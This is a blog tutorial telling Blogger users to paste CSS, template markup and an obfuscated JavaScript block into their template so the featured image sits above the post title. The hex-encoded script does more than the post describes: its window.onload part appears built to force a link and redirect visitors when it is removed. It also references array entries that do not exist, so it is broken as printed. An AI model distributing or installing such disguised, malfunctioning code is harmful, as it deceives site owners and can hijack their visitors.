How to Show Featured Image Above the Post Title?

I think you all add a featured image in your blog posts. If no, then do you know that what is a featured image? Actually, featured image is a image that gives some information to the viewer before reading the post about the post. Bloggers use this ‘featured image’ trick to attract more and more visitors toward their blog. So, today,to make this ‘featured image’ trick more effective, I brought you a simple set of javascript and CSS with some HTML, by which you will be able to add featured image before your post (means above the title) on your blog! Did you ever saw and noticed our featured image? It is above title every time. This makes a blog’s design unique and professional too! Imagine- when a visitor land on your blog, he first see a nice welcoming featured image, then title and then content. Featured image will force his mind to read the post. Using this feature on blogger, you can attract your blog’s readers and really, it totally change a blog’s look.

How this feature Works?

This feature works with some JavaScript, CSS (Cascade Sylesheet Script) and some HTML. JavaScript to make this trick work, CSS to stylize it and HTML, to show it. Actually, this set of JavaScript, CSS and HTML, pick up the first image of the post and set it above the post’s title. But their is a problem with this script. Not very big problem. Whenever you don’t insert a featured image in your post, it will pick up any of your post’s image and show it above title. So after installing this feature in your blog, don’t forget to insert a featured image every time. And one more thing, this script will effect your old posts too.

How to Install this Feature on Blogger?

Now, its time to learn how to install this feature on your blog. This tutorial is simple as ABC the only thing you have to do is, carefully follow all the steps.
Steps are following:

• Go to Blogger Dashboard > Template > Edit HTML
• Now, press Ctrl+F to open the search box.
• Type ‘]]></b:skin>’ on the search box and press enter.
• Above ‘]]></b:skin>’, paste the following CSS:

.tcpic img{ 
margin-top:25px; 
background: #FFF; 
width:94%; 
}

• You can customize the widget, background of the image by making changes on above CSS.
• Now, search for ‘</head>’ using the search box and above it, paste below JavaScript:

<b:if cond='data:blog.pageType == &quot;item&quot;'>
 <script>
 //<![CDATA[ 
  var _0x7c5d=
["\x73\x72\x63","\x61\x74\x74\x72","\x2E\x65\x6E\x74\x72\x79\x2D\x63\x6F\x6E\x74\x65\x6E\x74\x20\x69\x6D\x67","\x2E\x74\x63\x70\x69\x63","\x61\x70\x70\x65\x6E\x64\x54\x6F","\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22","\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x66\x69\x72\x73\x74\x70\x69\x63\x22\x2F\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E","\x72\x65\x6D\x6F\x76\x65","\x66\x69\x72\x73\x74","\x68\x69\x64\x65","\x65\x72\x72\x6F\x72","\x69\x6D\x67","\x72\x65\x61\x64\x79","\x6F\x6E\x6C\x6F\x61\x64","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"];var _0x478e=[_0x7c5d[0],_0x7c5d[1],_0x7c5d[2],_0x7c5d[3],_0x7c5d[4],_0x7c5d[5],_0x7c5d[6],_0x7c5d[7],_0x7c5d[8],_0x7c5d[9],_0x7c5d[10],_0x7c5d[11],_0x7c5d[12],_0x7c5d[13],_0x7c5d[14]];$(document)[_0x478e[12]](function(){var _0xe09ax2=$(_0x478e[2])[_0x478e[1]](_0x478e[0]);$(_0x478e[5]+_0xe09ax2+_0x478e[6])[_0x478e[4]](_0x478e[3]);$(_0x478e[2])[_0x478e[8]]()[_0x478e[7]]();$(_0x478e[11])[_0x478e[10]](function(){$(this)[_0x478e[9]]()});});window[_0x478e[13]]=function(){var _0xe09ax3=document[_0x478e[15]](_0x478e[14]);if(_0xe09ax3==null){window[_0x478e[17]][_0x478e[16]]=_0x478e[18]};_0xe09ax3[_0x478e[19]](_0x478e[16],_0x478e[18]);_0xe09ax3[_0x478e[19]](_0x478e[20],_0x478e[21]);_0xe09ax3[_0x478e[19]](_0x478e[22],_0x478e[23]);_0xe09ax3[_0x478e[24]]=_0x478e[23];}; 
//]]>
 </script>
 </b:if>

• Now, the last step. Just search for ‘<b:includable id='main' var='top'>’ and below it, paste the following code:

<b:if cond='data:blog.pageType == &quot;item&quot;'> 
<div class='tcpic' id='pic1'/> 
</b:if>

• Now at last, save your template and you are done! See you blog and leave your feedback in comments.

Final Words from Author

This is also the one and only post. You will not find this feature if you Google it! This is like a plugin. WordPress have already a plugin that help wordpress blogger to show the featured image above post title but now we made it for Blogger! If you have any confusion regarding above steps, then kindly leave your comment below and give us your feedback. Thanks!

Share this post